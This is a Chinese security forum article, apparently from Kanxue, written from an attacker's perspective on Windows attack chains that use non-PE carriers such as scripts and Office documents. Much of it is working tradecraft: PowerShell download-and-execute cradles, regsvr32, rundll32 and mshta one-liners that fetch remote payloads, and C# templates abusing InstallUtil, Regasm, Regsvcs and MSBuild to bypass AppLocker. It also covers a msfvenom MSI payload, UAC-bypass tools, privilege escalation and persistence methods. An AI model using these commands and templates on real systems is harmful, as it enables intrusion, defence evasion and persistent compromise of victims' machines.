本文由看雪安全开发者峰会铂金赞助商之一——猎豹移动公司提供
前言
本文以攻击者的视野,以非PE作为载体的攻击链作为写作思路,通过对非PE文件类型,攻击方法,安全策略和权限,后门这几个方面进行简单介绍,通过本文,希望让阅读者能对该类型攻击套路有一个新的认识。
为什么是非PE PE作为Windows平台下可执行文件格式,其自身的类型划分数目较少,常见的有32位PE,64位PE以及NE、LE格式,类型有exe、dll、sys格式,长期以来,人们已经习惯于通过双击执行exe程序,而对于杀毒软件来讲,也习惯性的“擅长于”对exe进行查杀,而非PE相较于PE,人们感觉更加陌生,当然杀软也是如此。当人感觉到"陌生"时,通常会产生两种心理,一种是“警惕”,而另一种是“好奇”。当杀软感觉“陌生”时,为了减少“误报”,通常的做法就是先“放过“,尤其是对目前流行的PowerShell。
非PE类型
本文讨论的非PE类型限于Windows平台,所以不会将apk、ELF等划分到这里,而会将C#语言写的.Net程序划分到非PE,这里划分了脚本类型,文档类型两类,当然还可以再细致划分。
脚本类型
脚本类型作为非PE的主要类型,其在Windows下自带的有Bat、Vbs、JScript类型以及后来加入的PowerShell,除了这些自带脚本,当然还有Python、Lua、Java、PHP等类型,然而这些都是基于自身运行时环境的。
文档类型
文档类型有常见的Word、Excel、PPT以及RTF这些office文档,也有PDF、HTA(勉强算)类型,因为这些文件中可以嵌入"可执行"脚本,所以这里没有TXT的事情。
其他类型
inf、lnk文件,还有一些例如Autoit、CAD等软件定义的脚本,又或者swf文件,这些类型比起前面所说的,自然类型上比较模糊,所以将其归为其他类型,如果再极致一点,也包括mp3,一部mp4,png也能算。攻击载体的选择,通常从下面几点进行考虑:
1. 环境依赖
2. 敏感度
3. 体积
4. 制作成本
从环境依赖来讲,系统自带脚本通常依赖较小;从敏感度来讲,文档类的敏感度较小,从体积来讲,脚本类型通常较小;从制作成本上来讲,脚本类型通常较小;那这些非系统自带的脚本用在哪呢?针对某开发人员进行攻击?
如何攻击 既然已经选好了攻击载荷,那么就要进行载荷投递了,这里我们举几个较为常见的方式进行介绍,当然也存在别的方式。
"水坑"攻击 水坑攻击是一种攻击成功率较高的攻击方式,攻击目标通常为特定团体、组织、行业或者地区等。攻击方通过长期观察、猜测、收集目标的网络行为习惯,寻找目标经常访问的网站,然后入侵一个或者多个网站进行挂马,当目标进行访问时,触发攻击程序导致个体或团体被感染。这类攻击较为常见的特征有以下几点:
1. 时间跨度较长
2. 通常使用0-day漏洞
3. 攻击目标通常选择大型公司、政府,学校,以及科研机构等群体
"鱼叉"攻击 鱼叉攻击通常使用电子邮件等电子通信方式进行投递,攻击目标为特定个人,组织或企业。攻击方首先对攻击目标的个人信息,邮箱地址,近期私人(或公开)活动等进行收集,通过假冒公司,组织,活动主办方或是政府机构的名义,发送含有虚假内容、恶意文件或恶意链接,诱使目标点击或者登录账号密码,一旦目标进行如上操作,那么自身的个人信息会再次泄露,攻击方甚至会借此安全恶意程序,持续对目标计算机进行控制。这类攻击通常有如下几点特征:
1. 高度的定制化和精准化
2. 通常攻击目标会选择个体
3. 文档类作为攻击载体的目的性更强
上述是常见的攻击方式,当然更为粗暴的方式也可以选择端口攻击,更柔和的选择一个横跨几个月或者一两年的套近乎式社工手法也可以。
攻击技巧 好了,假设这里攻击载荷成功投递到目标,其是否生效还受到系统策略、权限等因素影响,这里本文列举较为常见的安全策略以及权限相关的问题进行介绍。
策略绕过 applocker
applocker是一款用于替代软件限制策略的全新系统管理工具。部署于Windows 2008 Server
R2以及之后的所有系统中,帮助用户控制可运行的应用和文件,这包括可执行文件(.exe、.com)、脚本(.vbs、.js、.ps1、.cmd、和.bat)、Windows安装程序(.msi、.msp)、动态链接库(.dll、.ocx)等。基本特性如下:
· 基于数字签名派生出的以文件属性作为规则定义(如:文件名、路径、版本)
· 向单个用户、组分配规则
· 规则可定义例外
· 支持导入和导出
通过上述介绍,以下面两种情况分别讨论
脚本执行禁用,cmd、powershell执行未禁用
这种情况下利用方式很多,常见的方式基本有
1.直接使用cmd、powershell命令
#cmd
powershell -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://')
#payload
IEX(New-Object Net.WebClient).DownloadString('http://')
2.通过管道
#cmd
cmd.exe /K < payload.bat
#powershell
get-content x.ps1 | iex
3.通过regsvr32、rundll32、mshta
regsvr32 /u /n /s /i:payload.sct scrobj.dll
regsvr32 /u /n /s /i:http://ip:port/payload.sct scrobj.dll
rundll32.exe
javascript:"\..\mshtml,RunHTMLApplication
";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell
-nop -exec bypass -c IEX (New-Object
Net.WebClient).DownloadString('http://ip:port/');")
mshta.exe
"javascript:new%20ActiveXObject("WScript.Shell").Run("powershell%20-nop%20-exec%20bypass%20-c%20IEX%20(New-Object%20Net.WebClient).DownloadString('http://ip:port/');");window.close()"脚本执行禁用,powershell执行禁用
对于这种情况,直接执行powershell显然行不通了,
powershell是基于.Net框架的,powershell.exe只是命令行方式的一种实现,本质是对System.Management.Automation.dll的封装,所以通过如下几种方式可以绕过限制,1.规则“漏洞”默认情况下会,会将Program
Files和Windows路径设置为例外,通过寻找可写可执行路径,写入payload脚本即可。如果只是对于powershell.exe采用了路径限制,而不是哈希限制,那可以将其copy一份到别的路径,然后使用。2.使用C#下面是一个C#调用powershell的模板代码,将payload替换为实际执行代码最终编译为exe即可运行
using System;
using System.Management.Automation;
namespace Powershell
{
class Program
{
static void Main(string[] args)
{
PowerShell ps = PowerShell.Create();
ps.AddCommand("Invoke-Expression");
ps.AddArgument("payload");
ps.Invoke();
}
}
}
3.使用InstallUtil.exeInstallUtil是一个经过签名的windows组件安装程序,利用模板如下
// InstallUtil.cs
using System;
using System.Management.Automation;
namespace Whitelist
{
class Program
{
static void Main(string[] args)
{
}
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
public override void Uninstall(System.Collections.IDictionary savedState)
{
PowerShell ps = PowerShell.Create();
ps.AddCommand("Invoke-Expression");
ps.AddArgument("payload");
ps.Invoke();
}
}
#编译
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:InstallUtil.exe InstallUtil.cs
#/U 执行卸载例程
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /U InstallUtil.exe
4.使用Regasm或RegsvcsRegasm与Regsvcs均为.Net框架程序集注册工具,利用模板如下
#Regasm.cs
using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
using System.Management.Automation;
namespace regsvcser
{
public class Bypass : ServicedComponent
{
public Bypass() { Console.WriteLine("I am a basic COM Object"); }
[ComUnregisterFunction] //This executes if registration fails
public static void UnRegisterClass ( string key )
{
PowerShell ps = PowerShell.Create();
ps.AddCommand("Invoke-Expression");
ps.AddArgument("payload");
ps.Invoke();
}
}
}
通过csc.exe编译为dll组件,之后通过传入给regasm(或regasm) /U 参数执行卸载例程,步骤如下
Create Your Strong Name Key -> key.snk
$key
=
'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content =[System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
/r:System.EnterpriseServices.dll /target:library /out:Regasm.dll
/keyfile:key.snk Regasm.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe Regasm.dll
[OR]
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe Regasm.dll
//Executes UnRegisterClass If you don't have permissions
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U Regasm.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U Regasm.dll
//This calls the UnregisterClass Method
5.使用msxsl.exemsxsl是windows下用于处理xsl的命令行程序(已签名),通过该程序可以执行JScript代码,点我下载。其命令行利用方式如下
msxsl.exe demo.xml exec.xsl
demo.xml与exec.xsl demo如下
#demo.xml
Microsoft
#exec.xsl
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");
return nodelist.nextNode().xml;
}
6.使用msbuild.exemsbuild作为Windows和vs的生成引擎,默认系统自带,下面代码功能是创建一个PowerShell命令行。
TaskName="FragmentExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
Console.WriteLine("Hello From Fragment");
]]>
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
public override bool Execute(){
while(true){
Console.Write("PS >");
string x = Console.ReadLine();
try
{
Console.WriteLine(RunPSCommand(x));
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
return true;
}
//Based on Jared Atkinson's And Justin Warner's Work
public static string RunPSCommand(string cmd)
{
//Init stuff
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();
//Add commands
pipeline.Commands.AddScript(cmd);
//Prep PS for string output and invoke
pipeline.Commands.Add("Out-String");
Collection results = pipeline.Invoke();
runspace.Close();
//Convert records to strings
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.Append(obj);
}
return stringBuilder.ToString().Trim();
}
public static void RunPSFile(string script)
{
PowerShell ps = PowerShell.Create();
ps.AddScript(script).Invoke();
}
}
]]>
7.使用msiexec.exe通过msf生产一个payload.msi,利用msiexec执行。
msfvenom -f msi -p windows/exec CMD=calc.exe > payload.msi
#执行
msiexec /quiet /i payload.msi
UAC 自Windows Vista开始,微软引入了完整性级别概念,用于防止”权限滥用“,权限由高到低分为
· 系统级(system)
· 管理员(High)
· 用户(Medium)
· 受限(Low)
其设计模型来自于Biba完整性模型基础上的上不可写,下不可读原则来保护数据完整性。在Windows
Vista之前的系统,默认创建的管理员账户即对应完整管理员(High)级别,这个级别基本没有限制,导致可以任意添加计划任务,写关键路径,读写关键注册表、创建服务、加载驱动等等,从Windows
Vista开始创建的管理员账户均在用户(Medium)级别,当UAC(默认)开启的情况下,这个级别会有很多限制,仅当程序请求管理员权限,或是触发条件则弹窗询问用户授权。
受限(Low)被应用于IE浏览器作为保护模式使用,其直接访问网页的进程会通过Host主进程代理操作系统资源,只有在Temp、Temporary、Internet
Files、Cookies和Favorites目录下的几个特定低完整性目录可以进行写操作,同时启动其他进程时弹窗询问用户。
由于微软出于兼容性、用户体验等的考虑,为减少UAC弹窗,设定了自动提权的机制,满足以下两个条件的程序,会自动提升权限
1. 必须经过 Windows Publisher 数字签名
2.
必须位于”安全目录“中,其中”安全目录“指的是普通用户(Medium)无权修改的,包括
%SystemRoot%\System32(例如,\Windows\System32)及其大多数子目录、%SystemRoot%\Ehome,以及
%ProgramFiles% 下的少许目录(其中包括 Windows Defender 和 Windows 日记本)
满足上述条件的exe程序,在其应用程序配置清单中有如下配置,则进行提升。
level="highestAvailable"
/>
true
上面简单介绍了UAC和完整性级别的概念,可以知道到,对关键文件、注册表、进程等的操作在Medium级别会触发UAC弹窗,当然这样直接弹窗会引起用户注意从而降低攻击的成功率,所以需要绕过,绕过方法也是基于Windows设定的"自动提升"机制,通常的操作有”DLL劫持“,”伪造"等方式,这里推荐几个不错的开源项目,1.对抗UAC机制的UACME2.nishang攻击包中有PowerShell实现的bypassUAC工具Invoke-PsUACme3.Empire中Invoke-BypassUAC
权限 上文谈到了完整性级别,对权限有了简单了解,由于攻击目标的环境受限,可能当前的登陆账户权限较低,导致攻击载荷在执行某些操作,例如,
· 写高权限路径
· 读写高权限注册表(例如:mimikataz)
· 注入操作
· 创建计划任务、服务、WMI、加载驱动等
这些操作都是存在问题的,所以需要提升权限。
提权 通常这里的提权指的是low->system,medium->system,对于low到system只能有Exploit程序,这里推荐一下SecWiki,里面收集了很多历史提权漏洞。medium到system除过可使用exp,也可以通过bypassUAC到high,然后写计划任务或者添加服务的方式提权到system,还可以使用C代码形式(需high级),通过UpdateProcThreadAttribute获取父进程信息,传入CreateProcess以创建该进程的子进程,由于会继承父进程的权限,从而获取system权限的目的。
降权 由于Windows是一个多用户操作系统,不同的用户有不同的环境变量和注册表项,例如desktop,
programs,
appdata,tmp,temp等是不同的,部分HKCU注册表也是不相同的,由于存在界面隔离的的原因,为了获取某用户当前的屏幕截图,窗口列表等信息也是需要"切换"到该用户。这里的降权包括从system->high,high->medium两种,比较通用的方法见下。
//方式1
WTSGetActiveConsoleSessionId
WTSQueryUserToken
CreateProcessAsUser
//方式2.
UpdateProcThreadAttribute + CreateProcess
后门 上文描述了攻击载荷、攻击方式、策略绕过与权限等相关知识,这里假设攻击载体以及在目标上开始运行,为了保证能有长期、持续的对目标进行信息获取,做一个后门是有必要的,简单列举一下:
1.注册表启动项
2.服务启动项,服务劫持
3.dll劫持
4.fake lnk
5.计划任务
6.WMI
7.office自启路径
8.Exp(如CVE-2017-8464)
9.Logon Scripts
10.COM 劫持
实战中后门姿势变化万千,应该以目标使用者与环境进行选择。
最后 以上是全部内容,通过本文的阅读希望能达到如前言中的目的,文中描述不当以及有明显bug的地方欢迎大家留言指出,后续的学习阅读,可参考本文列举的参考一栏。最后,感谢阅读。
参考 [1].https://github.com/subtee
[2].https://github.com/Enigma0x3
[3].https://3gstudent.github.io/
[4].https://evi1cg.me/
[5].https://github.com/SecWiki
[6].http://www.freebuf.com/column/149286.html
[7].https://www.zhihu.com/question/20139121
[8].http://blog.csdn.net/yockie/article/details/46446047
[9].https://msdn.microsoft.com/en-us/library/aa905330.aspx
[10].http://bbs.csdn.net/topics/390248917
[11].http://blog.csdn.net/vlily/article/details/47338327
[12].https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Windows.md
[13].深入解析Windows操作系统第6版(上册),潘爱民译.
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!